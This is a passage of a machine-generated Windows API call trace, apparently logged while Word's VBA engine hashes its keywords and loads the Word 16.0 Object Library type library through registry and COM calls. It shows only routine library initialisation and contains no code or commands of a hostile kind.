lcid=0x409, szName="Empty") returned 0x10f4f1 [0018.339] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="End") returned 0x1089cd [0018.339] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="EndIf") returned 0x1078bd [0018.339] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Enum") returned 0x10465a [0018.339] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Eqv") returned 0x108a4e [0018.339] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Erase") returned 0x1080da [0018.339] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Error") returned 0x10db3c [0018.339] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Error$") returned 0x10cf60 [0018.339] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Error") returned 0x10db3c [0018.339] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Event") returned 0x10ac4b [0018.339] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Exit") returned 0x107a1f [0018.339] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Explicit") returned 0x10edcb [0018.339] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="F") returned 0x10105d [0018.339] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="False") returned 0x102d01 [0018.339] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Fix") returned 0x108e81 [0018.339] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="For") returned 0x108f59 [0018.339] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Format") returned 0x102337 [0018.339] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Format$") returned 0x10efc7 [0018.339] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Format") returned 0x102337 [0018.339] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="FreeFile") returned 0x10483a [0018.339] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Friend") returned 0x10bd1c [0018.339] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810 [0018.339] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Get") returned 0x109342 [0018.339] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Global") returned 0x10f88f [0018.339] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Go") returned 0x105d67 [0018.339] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="GoSub") returned 0x10b425 [0018.339] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="GoTo") returned 0x10d70b [0018.339] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="If") returned 0x105da8 [0018.339] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Imp") returned 0x109f18 [0018.339] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Implements") returned 0x10a988 [0018.339] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="In") returned 0x105db0 [0018.339] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Input") returned 0x10022a [0018.339] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Input$") returned 0x107767 [0018.339] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Input") returned 0x10022a [0018.339] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="InputB") returned 0x107785 [0018.339] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="InputB$") returned 0x100c59 [0018.339] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="InputB") returned 0x107785 [0018.339] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="InStr") returned 0x10120e [0018.339] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="InStrB") returned 0x10c2fb [0018.339] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Int") returned 0x109f41 [0018.339] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Integer") returned 0x10b48a [0018.339] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Is") returned 0x105db5 [0018.339] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LBound") returned 0x101e0b [0018.339] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Left") returned 0x107be5 [0018.339] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Len") returned 0x10adf9 [0018.339] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LenB") returned 0x107cfb [0018.339] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Let") returned 0x10adff [0018.339] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Lib") returned 0x10ae81 [0018.339] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Like") returned 0x1091f3 [0018.339] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Line") returned 0x109262 [0018.339] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LINEINPUT") returned 0x1008f1 [0018.339] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Load") returned 0x10b096 [0018.340] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Local") returned 0x10353f [0018.340] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Lock") returned 0x10b0e7 [0018.340] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Long") returned 0x10b27a [0018.340] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Loop") returned 0x10b2a8 [0018.340] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LSet") returned 0x10c69e [0018.340] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Me") returned 0x105e3b [0018.340] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid") returned 0x10b3dc [0018.340] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid$") returned 0x10566d [0018.340] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid") returned 0x10b3dc [0018.340] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="MidB") returned 0x10568b [0018.340] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="MidB$") returned 0x102a70 [0018.340] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="MidB") returned 0x10568b [0018.340] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mod") returned 0x10b4ba [0018.340] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Module") returned 0x101ee1 [0018.340] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Name") returned 0x10f2f0 [0018.340] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="New") returned 0x10b8b3 [0018.340] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Next") returned 0x1009bb [0018.340] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Not") returned 0x10ba23 [0018.340] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Nothing") returned 0x105f21 [0018.340] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Null") returned 0x105d87 [0018.340] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Object") returned 0x102ec1 [0018.340] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="On") returned 0x105e8e [0018.340] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Open") returned 0x100767 [0018.340] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Option") returned 0x10f982 [0018.340] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Optional") returned 0x10675a [0018.340] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Or") returned 0x105e92 [0018.340] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Output") returned 0x10f959 [0018.340] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ParamArray") returned 0x105941 [0018.340] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Preserve") returned 0x10a5fc [0018.340] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Print") returned 0x10f00d [0018.340] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Private") returned 0x1073c3 [0018.340] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Property") returned 0x10d2f6 [0018.340] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="PSet") returned 0x10dd55 [0018.340] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Public") returned 0x101287 [0018.340] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Put") returned 0x10c5b3 [0018.340] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="RaiseEvent") returned 0x10274a [0018.340] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Random") returned 0x10f428 [0018.340] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Randomize") returned 0x10ab02 [0018.340] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Read") returned 0x101d0f [0018.340] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ReDim") returned 0x10eea8 [0018.340] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Rem") returned 0x10ce0e [0018.341] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Resume") returned 0x10728b [0018.341] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Return") returned 0x1038eb [0018.341] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="RGB") returned 0x10ce4d [0018.341] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="RSet") returned 0x106891 [0018.341] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Scale") returned 0x10e596 [0018.341] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Seek") returned 0x10e387 [0018.341] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Select") returned 0x10cabd [0018.341] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Set") returned 0x10d36e [0018.341] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sgn") returned 0x10d3b2 [0018.341] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Shared") returned 0x10479e [0018.341] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Single") returned 0x10a99f [0018.341] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Spc") returned 0x10d4f4 [0018.341] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Static") returned 0x1029c6 [0018.341] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Step") returned 0x103384 [0018.341] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Stop") returned 0x1034f6 [0018.341] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrComp") returned 0x10274d [0018.341] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="String") returned 0x10102a [0018.341] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="String$") returned 0x10c31c [0018.341] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="String") returned 0x10102a [0018.341] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sub") returned 0x10d5ac [0018.341] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Tab") returned 0x10d821 [0018.341] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Text") returned 0x10abed [0018.341] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Then") returned 0x10b933 [0018.341] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="To") returned 0x105f48 [0018.341] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="True") returned 0x10f0f4 [0018.341] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Type") returned 0x100007 [0018.341] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="TypeOf") returned 0x101832 [0018.341] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="UBound") returned 0x10ea71 [0018.341] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Unload") returned 0x104e44 [0018.341] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Unlock") returned 0x104e95 [0018.341] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Unknown") returned 0x10a11d [0018.341] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Until") returned 0x10ecec [0018.341] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Variant") returned 0x108738 [0018.341] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Wend") returned 0x1035a7 [0018.341] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="While") returned 0x10a25c [0018.341] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Width") returned 0x104e68 [0018.341] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="With") returned 0x104bed [0018.341] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="WithEvents") returned 0x10f2eb [0018.341] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Write") returned 0x105c2e [0018.341] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Xor") returned 0x10ef9b [0018.341] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="#Const") returned 0x10f8c9 [0018.341] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="#Else") returned 0x1050dd [0018.341] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="#ElseIf") returned 0x10e5b5 [0018.341] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="#End") returned 0x10d478 [0018.341] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="#If") returned 0x10d383 [0018.341] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0018.341] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Base") returned 0x109fb8 [0018.341] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Control") returned 0x10a946 [0018.341] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Creatable") returned 0x101d92 [0018.341] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Customizable") returned 0x10c26d [0018.341] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Description") returned 0x1009d0 [0018.341] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Exposed") returned 0x1030b3 [0018.341] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Ext_KEY") returned 0x10a88e [0018.341] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_HelpID") returned 0x103e41 [0018.342] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Invoke_Func") returned 0x10c92c [0018.342] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Invoke_Property") returned 0x107f4a [0018.342] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Invoke_PropertyPut") returned 0x106658 [0018.342] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Invoke_PropertyPutRef") returned 0x105b25 [0018.342] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_MemberFlags") returned 0x108db7 [0018.342] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Name") returned 0x10e2ff [0018.342] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_PredeclaredId") returned 0x105fc7 [0018.342] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_ProcData") returned 0x107005 [0018.342] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_TemplateDerived") returned 0x109f1e [0018.342] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_VarDescription") returned 0x103303 [0018.342] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_VarHelpID") returned 0x10a3b6 [0018.342] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_VarMemberFlags") returned 0x10b6ea [0018.342] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_VarProcData") returned 0x101b0c [0018.342] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_UserMemId") returned 0x107b95 [0018.342] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_VarUserMemId") returned 0x104d5f [0018.342] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_GlobalNameSpace") returned 0x10ce77 [0018.342] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName=",") returned 0x101043 [0018.342] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName=".") returned 0x101045 [0018.342] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="\"") returned 0x101039 [0018.342] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_") returned 0x101076 [0018.342] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CLngPtr") returned 0x105ab0 [0018.342] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefLngPtr") returned 0x1036f2 [0018.342] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="PtrSafe") returned 0x106f4a [0018.342] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CLngLng") returned 0x104463 [0018.342] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefLngLng") returned 0x1020a5 [0018.342] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LongLong") returned 0x10378e [0018.342] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LongPtr") returned 0x10d4e8 [0018.342] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="0") returned 0x101047 [0018.342] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="0") returned 0x101047 [0018.342] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="TypeLib", phkResult=0x306b80 | out: phkResult=0x306b80*=0x9b2) returned 0x0 [0018.342] RegOpenKeyW (in: hKey=0x9b2, lpSubKey="{00020905-0000-0000-C000-000000000046}", phkResult=0x306b78 | out: phkResult=0x306b78*=0x9b6) returned 0x0 [0018.342] RegEnumKeyW (in: hKey=0x9b6, dwIndex=0x0, lpName=0x306ba8, cchName=0xa | out: lpName="8.7") returned 0x0 [0018.343] wcscpy_s (in: _Destination=0x306b90, _SizeInWords=0xa, _Source="8.7" | out: _Destination="8.7") returned 0x0 [0018.343] RegOpenKeyW (in: hKey=0x9b6, lpSubKey="8.7", phkResult=0x306c38 | out: phkResult=0x306c38*=0x9c2) returned 0x0 [0018.343] _ultoa_s (in: _Val=0x409, _DstBuf=0x306bb0, _Size=0xa, _Radix=16 | out: _DstBuf="409") returned 0x0 [0018.343] RegOpenKeyA (in: hKey=0x9c2, lpSubKey="409", phkResult=0x306ba0 | out: phkResult=0x306ba0*=0x0) returned 0x2 [0018.344] RegOpenKeyW (in: hKey=0x9ca, lpSubKey="win64", phkResult=0x306ba8 | out: phkResult=0x306ba8*=0x9d2) returned 0x0 [0018.344] RegCloseKey (hKey=0x9d2) returned 0x0 [0018.344] RegCloseKey (hKey=0x9ca) returned 0x0 [0018.344] _ultow_s (in: _Value=0x0, _Buffer=0x306c40, _BufferCount=0x9, _Radix=16 | out: _Buffer="0") returned 0x0 [0018.344] RegOpenKeyW (in: hKey=0x9c2, lpSubKey="0", phkResult=0x306c18 | out: phkResult=0x306c18*=0x9c6) returned 0x0 [0018.344] RegQueryValueW (in: hKey=0x9c6, lpSubKey="win64", lpData=0x306c60, lpcbData=0x306c14 | out: lpData="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB", lpcbData=0x306c14) returned 0x0 [0018.345] wcscpy_s (in: _Destination=0x306f90, _SizeInWords=0x104, _Source="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB" | out: _Destination="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB") returned 0x0 [0018.345] RegCloseKey (hKey=0x9c6) returned 0x0 [0018.345] RegCloseKey (hKey=0x9c2) returned 0x0 [0018.345] RegCloseKey (hKey=0x9b6) returned 0x0 [0018.345] RegCloseKey (hKey=0x9b2) returned 0x0 [0018.345] LoadTypeLib (in: szFile="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB", pptlib=0x306c18*=0x0 | out: pptlib=0x306c18*=0x7346470) returned 0x0 [0018.345] ITypeLib:RemoteGetDocumentation (in: This=0x7346470, index=-1, refPtrFlags=0x306c38, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xa24a938 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xa24a938*="따߾") returned 0x0 [0018.345] IUnknown:QueryInterface (in: This=0x7346470, riid=0x7fef1056290*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x306a28 | out: ppvObject=0x306a28*=0x0) returned 0x80004002 [0018.345] ITypeLib:RemoteGetLibAttr (in: This=0x7346470, ppTLibAttr=0x306a20, pDummy=0x10 | out: ppTLibAttr=0x306a20, pDummy=0x10) returned 0x0 [0018.345] ITypeLib:RemoteGetDocumentation (in: This=0x7346470, index=-1, refPtrFlags=0x0, pbstrName=0x306a18, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x7542720 | out: pbstrName=0x306a18*="Microsoft Word 16.0 Object Library", pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x7542720*="厐߾") returned 0x0 [0018.345] StringFromGUID2 (in: rguid=0x75c9470*(Data1=0x20905, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), lpsz=0x306a40, cchMax=39 | out: lpsz="{00020905-0000-0000-C000-000000000046}") returned 39 [0018.345] _ultow_s (in: _Value=0x8, _Buffer=0x30698a, _BufferCount=0x10, _Radix=16 | out: _Buffer="8") returned 0x0 [0018.345] _ultow_s (in: _Value=0x7, _Buffer=0x30698e, _BufferCount=0xe, _Radix=16 | out: _Buffer="7") returned 0x0 [0018.345] _ultow_s (in: _Value=0x0, _Buffer=0x306992, _BufferCount=0xc, _Radix=16 | out: _Buffer="0") returned 0x0 [0018.345] wcscpy_s (in: _Destination=0x2d14f08, _SizeInWords=0x8e, _Source="*\\G" | out: _Destination="*\\G") returned 0x0 [0018.345] wcscpy_s (in: _Destination=0x2d14f0e, _SizeInWords=0x8b, _Source="{00020905-0000-0000-C000-000000000046}" | out: _Destination="{00020905-0000-0000-C000-000000000046}") returned 0x0 [0018.345] wcscpy_s (in: _Destination=0x2d14f5a, _SizeInWords=0x65, _Source="#8.7#0#" | out: _Destination="#8.7#0#") returned 0x0 [0018.345] wcscpy_s (in: _Destination=0x2d14f68, _SizeInWords=0x5e, _Source="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB" | out: _Destination="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB") returned 0x0 [0018.345] wcscpy_s (in: _Destination=0x2d14fde, _SizeInWords=0x23, _Source="Microsoft Word 16.0 Object Library" | out: _Destination="Microsoft Word 16.0 Object Library") returned 0x0 [0018.346] ITypeLib:LocalReleaseTLibAttr (This=0x7346470) returned 0x0 [0018.346] wcscpy_s (in: _Destination=0x79d9b60, _SizeInWords=0x8e, _Source="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library" | out: _Destination="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned 0x0 [0018.346] ITypeLib:RemoteGetDocumentation (in: This=0x7346470, index=-1, refPtrFlags=0x306b38, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x4 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x4) returned 0x0 [0018.346] SysStringLen (param_1="Word") returned 0x4 [0018.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Word", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0018.346] SysStringLen (param_1="Word") returned 0x4 [0018.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Word", cchWideChar=5, lpMultiByteStr=0x7542728, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Word", lpUsedDefaultChar=0x0) returned 5 [0018.346] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Word") returned 0x106bb5 [0018.346] strcpy_s (in: _Dst=0x306930, _DstSize=0x5, _Src="Word" | out: _Dst="Word") returned 0x0 [0018.346] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x306930, cbMultiByte=5, lpWideCharStr=0x306780, cchWideChar=5 | out: lpWideCharStr="Word") returned 5 [0018.346] wcsncpy_s (in: _Destination=0x306730, _SizeInWords=0x108, _Source="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", _MaxCount=0x106 | out: _Destination="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned 0x0 [0018.346] CharLowerBuffW (in: lpsz="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", cchLength=0x8d | out: lpsz="*\\g{00020905-0000-0000-c000-000000000046}#8.7#0#c:\\program files\\microsoft office\\root\\office16\\msword.olb#microsoft word 16.0 object library") returned 0x8d [0018.346] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x11c) returned 0xbb06c10 [0018.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{00020905-0000-0000-c000-000000000046}#8.7#0#c:\\program files\\microsoft office\\root\\office16\\msword.olb#microsoft word 16.0 object library", cchWideChar=142, lpMultiByteStr=0xbb06c10, cbMultiByte=284, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{00020905-0000-0000-c000-000000000046}#8.7#0#c:\\program files\\microsoft office\\root\\office16\\msword.olb#microsoft word 16.0 object library", lpUsedDefaultChar=0x0) returned 142 [0018.346] IMalloc:Free (This=0x7fefe9e5380, pv=0xbb06c10) [0018.346] _wcsicmp (_String1="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", _String2="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned 0 [0018.346] wcsncpy_s (in: _Destination=0x306730, _SizeInWords=0x108, _Source="*\\Z055bf1acda", _MaxCount=0x106 | out: _Destination="*\\Z055bf1acda") returned 0x0 [0018.346] CharLowerBuffW (in: lpsz="*\\Z055bf1acda", cchLength=0xd | out: lpsz="*\\z055bf1acda") returned 0xd [0018.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z055bf1acda", cchWideChar=14, lpMultiByteStr=0x306660, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z055bf1acda", lpUsedDefaultChar=0x0) returned 14 [0018.346] _wcsicmp (_String1="*\\Z055bf1acda", _String2="*\\Z055bf1acda") returned 0 [0018.346] IUnknown:AddRef (This=0x7346470) returned 0x5 [0018.346] IUnknown:QueryInterface (in: This=0x7346470, riid=0x7fef10564b8*(Data1=0xcacc1e8a, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x306b58 | out: ppvObject=0x306b58*=0x0) returned 0x80004002 [0018.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Word", cchWideChar=5, lpMultiByteStr=0x306b20, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Word", lpUsedDefaultChar=0x0) returned 5 [0018.346] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Word") returned 0x106bb5 [0018.346] IUnknown:Release (This=0x7346470) returned 0x4 [0018.346] IUnknown:AddRef (This=0x7919520) returned 0x3 [0018.346] ITypeLib:RemoteGetDocumentation (in: This=0x7919520, index=-1, refPtrFlags=0x306c38, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0018.346] IUnknown:QueryInterface (in: This=0x7919520, riid=0x7fef1056290*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x306a28 | out: ppvObject=0x306a28*=0x0) returned 0x80004002 [0018.346] ITypeLib:RemoteGetLibAttr (in: This=0x7919520, 